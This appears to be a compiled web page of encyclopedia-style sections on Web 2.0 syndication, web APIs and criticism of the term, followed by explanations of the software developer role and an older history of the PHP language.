    Advocates of "Web 2.0" may regard syndication of site content as a Web 2.0 feature, involving as it does standardized protocols, which permit end-users to make use of a site's data in another context (such as another website, a browser plugin, or a separate desktop application). Protocols which permit syndication include RSS (Really Simple Syndication — also known as "web syndication"), RDF (as in RSS 1.1), and Atom, all of them XML-based formats. Observers have started to refer to these technologies as "Web feed" as the usability of Web 2.0 evolves and the more user-friendly Feeds icon supplants the RSS icon.

    Specialized protocols:

    Specialized protocols such as FOAF and XFN (both for social networking) extend the functionality of sites or permit end-users to interact without centralized websites.

    Other protocols, like XMPP enables services to users like Services over the Messenger


    Web APIs:

    Machine-based interaction, a common feature of Web 2.0 sites, uses two main approaches to web APIs, which allow web-based access to data and functions: REST and SOAP.


    REST (Representational State Transfer) web APIs use HTTP alone to interact, with XML (eXtensible Markup Language) or JSON payloads;


    SOAP involves POSTing more elaborate XML messages and requests to a server that may contain quite complex, but pre-defined, instructions for the server to follow.


    Often servers use proprietary APIs, but standard APIs (for example, for posting to a blog or notifying a blog update) have also come into wide use. Most communications through APIs involve XML or JSON payloads.

    Web Services Description Language (WSDL) is the standard way of publishing a SOAP API and there are a range of Web Service specifications.


    See also EMML by the Open Mashup Alliance for enterprise mashups.


    Criticism:

    Critics of the term claim that "Web 2.0" does not represent a new version of the World Wide Web at all, but merely continues to use so-called "Web 1.0" technologies and concepts. First, techniques such as AJAX do not replace underlying protocols like HTTP, but add an additional layer of abstraction on top of them. Second, many of the ideas of Web 2.0 had already been featured in implementations on networked systems well before the term "Web 2.0" emerged. Amazon.com, for instance, has allowed users to write reviews and consumer guides since its launch in 1995, in a form of self-publishing. Amazon also opened its API to outside developers in 2002. Previous developments also came from research in computer-supported collaborative learning and computer-supported cooperative work and from established products like Lotus Notes and Lotus Domino, all phenomena which precede Web 2.0.

    But perhaps the most common criticism is that the term is unclear or simply a buzzword. For example, in a podcast interview, Tim Berners-Lee described the term "Web 2.0" as a "piece of jargon":

    "Nobody really knows what it means...If Web 2.0 for you is blogs and wikis, then that is people to people. But that was what the Web was supposed to be all along."


    Other critics labeled Web 2.0 “a second bubble” (referring to the Dot-com bubble of circa 1995–2001), suggesting that too many Web 2.0 companies attempt to develop the same product with a lack of business models. For example, The Economist has dubbed the mid- to late-2000s focus on Web companies "Bubble 2.0". Venture capitalist Josh Kopelman noted that Web 2.0 had excited only 53,651 people (the number of subscribers at that time to TechCrunch, a Weblog covering Web 2.0 startups and technology news), too few users to make them an economically viable target for consumer applications. Although Bruce Sterling reports he's a fan of Web 2.0, he thinks it is now dead as a rallying concept.


    Critics have cited the language used to describe the hype cycle of Web 2.0 as an example of Techno-utopianist rhetoric.


    In terms of Web 2.0's social impact, critics such as Andrew Keen argue that Web 2.0 has created a cult of digital narcissism and amateurism, which undermines the notion of expertise by allowing anybody, anywhere to share – and place undue value upon – their own opinions about any subject and post any kind of content regardless of their particular talents, knowledgeability, credentials, biases or possible hidden agendas. He states that the core assumption of Web 2.0, that all opinions and user-generated content are equally valuable and relevant, is misguided and is instead "creating an endless digital forest of mediocrity: uninformed political commentary, unseemly home videos, embarrassingly amateurish music, unreadable poems, essays and novels", also stating that Wikipedia is full of "mistakes, half truths and misunderstandings".

    Who is a SoftWare Developer?

    A software developer is a person or organization concerned with facets of the software development process. They can be involved in aspects wider than design and coding, a somewhat broader scope of computer programming or a specialty of project managing including some aspects of software product management. This person may contribute to the overview of the project on the application level rather than component level or individual programming tasks. Software developers are often still guided by lead programmers but also encompasses the class of freelance software developers.

    Other names which are often used in the same close context are software analyst and software engineer.

    With time and a little luck, differences between system design, software development and programming are more apparent. Already in the current market place there can be found a segregation between programmers and developers, being that one who actually implements is not the same as the one who designs the class structure or hierarchy. Even more so that developers become systems architects, those who design the multi-leveled architecture or component interactions of a large software system.

    A 'programmer' is responsible for writing source code, but a 'developer' could be involved in wider aspects of the software development process such as:
    1. Participation in software product definition, including Business case or Gap analysis.
    2. Specification.
    3. Requirements analysis.
    4. Development and refinement of throw-away simulations or prototypes to confirm requirements.
    5. Feasibility and Cost-benefit analysis, including the choice of application architecture and framework, leading to the budget and schedule for the project.
    6. Design.
    7. Implementation (e.g. installation, configuration, programming/customization, integration, data migration).
    8. Authoring of documentation needed by users and implementation partners etc.
    9. Testing, including defining/supporting acceptance testing and gathering feedback from pre-release testers.
    10. Participation in software release and post-release activities, including support for product launch evangelism (e.g. developing demonstrations and/or samples) and competitive analysis for subsequent product build/release cycles.
    11. Maintenance.
    In a large company there may be employees whose sole responsibility may consist of only one of the phases above. In smaller development environments, a few, or even a single individual might handle the complete process. In a small company, the typical involvement of software developers includes every step from initial specification of a project to the completed system.

    Typically it includes:
    1. Initial Meeting - where requirements are discussed in detail.
    2. Proposal - a proposal based on the initial conversation and recommendations on the best approach
    3. Detailed Design - for most projects, there is usually more design work to clarify exactly how a system should work.
    4. Update Financials & Agree Contract - if the requirements have changed during the detailed design process, this is the stage to update the project costs.
    5. Development - software developers start work on the system.
    6. Functionally Complete - at the end of the development system, a system is delivered which is “functionally complete”, but may need further testing to iron out any bugs.
    7. Security tests.
    8. System Completed - testing is complete, and the system is ready for use.

    What is php?

    Hypertext Preprocessor (PHP) is a widely used, general-purpose scripting language that was originally designed for web development to produce dynamic web pages. For this purpose, PHP code is embedded into the HTML source document and interpreted by a web server with a PHP processor module, which generates the web page document. As a general-purpose programming language, PHP code is processed by an interpreter application in command-line mode performing desired operating system operations and producing program output on its standard output channel. It may also function as a graphical application. PHP is available as a processor for most modern web servers and as standalone interpreter on most operating systems and computing platforms.

    PHP was originally created by Rasmus Lerdorf in 1995 and has been in continuous development ever since. The main implementation of PHP is now produced by The PHP Group and serves as the de facto standard for PHP as there is no formal specification. PHP is free software released under the PHP License, which is incompatible with the GNU General Public License (GPL) because restrictions exist regarding the use of the term PHP.

    PHP originally stood for personal home page. It began in 1994 as a set of Common Gateway Interface (CGI) binaries written in the C programming language by the Danish/Greenlandic programmer Rasmus Lerdorf. Lerdorf initially created these Personal Home Page Tools to replace a small set of Perl scripts he had been using to maintain his personal homepage. The tools were used to perform tasks such as displaying his résumé and recording how much traffic his page was receiving. He combined these binaries with his Form Interpreter to create PHP/FI, which had more functionality. PHP/FI included a larger implementation for the C programming language and could communicate with databases, enabling the building of simple, dynamic web applications. Lerdorf released PHP publicly on June 8, 1995 to accelerate bug location and improve the code. This release was named PHP version 2 and already had the basic functionality that PHP has today. This included Perl-like variables, form handling, and the ability to embed HTML. The syntax was similar to Perl but was more limited, simpler, and less consistent.

    Zeev Suraski and Andi Gutmans, two Israeli developers at the Technion IIT, rewrote the parser in 1997 and formed the base of PHP 3, changing the language's name to the recursive initialism PHP: Hypertext Preprocessor. The development team officially released PHP/FI 2 in November 1997 after months of beta testing. Afterwards, public testing of PHP 3 began, and the official launch came in June 1998. Suraski and Gutmans then started a new rewrite of PHP's core, producing the Zend Engine in 1999. They also founded Zend Technologies in Ramat Gan, Israel.
    On May 22, 2000, PHP 4, powered by the Zend Engine 1.0, was released. As of August, 2008 this branch is up to version 4.4.9. PHP 4 is no longer under development nor will any security updates be released. On July 13, 2004, PHP 5 was released, powered by the new Zend Engine II. PHP 5 included new features such as improved support for object-oriented programming, the PHP Data Objects extension (which defines a lightweight and consistent interface for accessing databases), and numerous performance enhancements. In 2008, PHP 5 became the only stable version under development. Late static binding has been missing from PHP and has been added in version 5.3. PHP 6 is under development alongside PHP 5. Major changes include the removal of register_globals, magic quotes, and safe mode. The reason for the removals was that register_globals had given way to security holes, and magic quotes had an unpredictable nature, and was best avoided. Instead, to escape characters, magic quotes may be substituted with the addslashes() function, or more appropriately an escape mechanism specific to the database vendor itself like mysql_real_escape_string() for MySQL. Functions that will be removed in PHP 6 have been deprecated in PHP 5.3 and will produce a warning if used.

    Many high-profile open-source projects ceased to support PHP 4 in new code as of February 5, 2008, because of the GoPHP5 initiative , provided by a consortium of PHP developers promoting the transition from PHP 4 to PHP 5.

    PHP currently does not have native support for Unicode or multibyte strings; Unicode support will be included in PHP 6 and will allow strings as well as class, method and function names to contain non-ASCII characters.

    PHP interpreters are available on both 32-bit and 64-bit operating systems, but on Microsoft Windows the only official distribution is a 32-bit implementation, requiring Windows 32-bit compatibility mode while using Internet Information Services (IIS) on a 64-bit Windows platform. As of PHP 5.3.0, experimental 64-bit versions are available for MS Windows.